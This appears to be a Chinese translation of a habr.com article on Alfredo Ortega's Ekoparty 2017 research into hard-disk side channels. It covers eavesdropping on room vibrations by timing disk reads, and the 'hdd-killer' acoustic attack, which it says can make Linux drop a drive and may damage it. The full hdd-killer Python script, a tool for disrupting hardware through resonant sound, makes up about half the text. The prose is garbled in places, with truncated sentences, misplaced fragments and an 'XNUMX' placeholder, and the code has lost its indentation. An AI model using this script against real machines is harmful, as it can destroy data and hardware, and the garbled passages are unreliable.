在布宜诺斯艾利斯举行的 Ekoparty 2017 计算机安全会议上,阿根廷黑客 Alfredo Ortega 展示了一项非常有趣的开发成果——一种无需使用麦克风即可秘密窃听场所的系统。 声音
HDD主要拾取高强度低频声音、脚步声和其他振动。 尽管科学家们还无法识别人类的语音
声音是空气或其他介质的振动。 人通过耳膜感知它们,耳膜将振动传递到内耳。 麦克风的设计大致类似于耳朵——这里的振动也由薄膜记录,从而激发电脉冲。 当然,硬盘也会因周围空气的波动而受到微小振动的影响。 这甚至从硬盘驱动器的技术特性就可以知道:制造商通常会注明最大允许振动级别,而硬盘驱动器本身通常会尝试将其放置在由橡胶或其他绝缘材料制成的防振容器中。 由此很容易得出结论,可以使用 HDD 来录制声音。 剩下的就是弄清楚如何做。
Alfredo Ortega 提出了一种独特版本的旁路攻击,即时间攻击。 这种攻击基于这样的假设:根据给定的输入数据,在不同时间对设备执行不同的操作。 在这种情况下,“输入数据”是读取头和硬盘盘片的振动,它与环境的振动(即声音)相关。 因此,通过测量计算时间并对数据进行统计分析,可以测量磁头/盘片的振动,从而测量介质的振动。 读取数据的延迟越长,硬盘振动越强,因此声音越大。
如何测量硬盘振动? 很简单:只需运行系统调用 read ()
- 并记录完成所需的时间。 现代操作系统允许您以纳秒精度读取系统调用的时间。
从扇区读取信息的速度取决于磁头和盘片的位置,这与 HDD 外壳的振动相关。 就这样。
使用简单的 Kscope 实用程序进行统计分析。 正如他们所说,一切巧妙的事情都很简单。
Kscope 实用程序(stat() 系统调用)
Kscope 是一个小实用程序,用于可视化系统调用执行时间的微小差异。 来源
在单独的存储库中 read ()
.
使用HDD录音的演示、Kscope实用程序的操作
当然,无法通过这种方式理解语音,但是HDD非常适合作为振动传感器。 例如,如果一个人穿着硬鞋或赤脚进入有计算机的房间,您可以记录(可能,如果攻击者穿着软运动鞋或地板上有厚地毯,硬盘将无法记录振动 -这值得检查)。 计算机能够记录玻璃破碎或其他声音强度较大的事件。 也就是说,硬盘驱动器可以充当一种未经授权的入侵检测系统。
硬盘杀手
顺便说一句,类似的技术可用于禁用硬盘驱动器。 只是在这里我们没有消除 HDD 中的振荡,相反,我们生成了馈送到 HDD 的振荡。 如果您以与 HDD 频率共振的频率从扬声器播放声音,系统很快会因 I/O 错误而关闭设备(Linux 内核在 120 秒后完全关闭 HDD)。 硬盘驱动器本身可能会遭受不可逆转的损坏。
Linux 内核通过 Edifier r120u USB 扬声器的扬声器发出共振频率的声音 19 秒后关闭硬盘。 扬声器以大约四分之一的功率打开(小于100 mW),位于距离HDD 20厘米的位置,对准桌子以增强振动。 框架来自
奇怪的是,这种对硬盘的“攻击”有时在日常生活中完全是偶然发生的。 例如,2016年10月,ING银行数据中心在一次消防演习后被迫暂停运营XNUMX个小时。
人类对数据中心硬盘尖叫的演示。 延迟测量
为了产生共鸣声音,Alfredo Ortega 编写了一个名为的 Python 脚本
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
来源: habr.com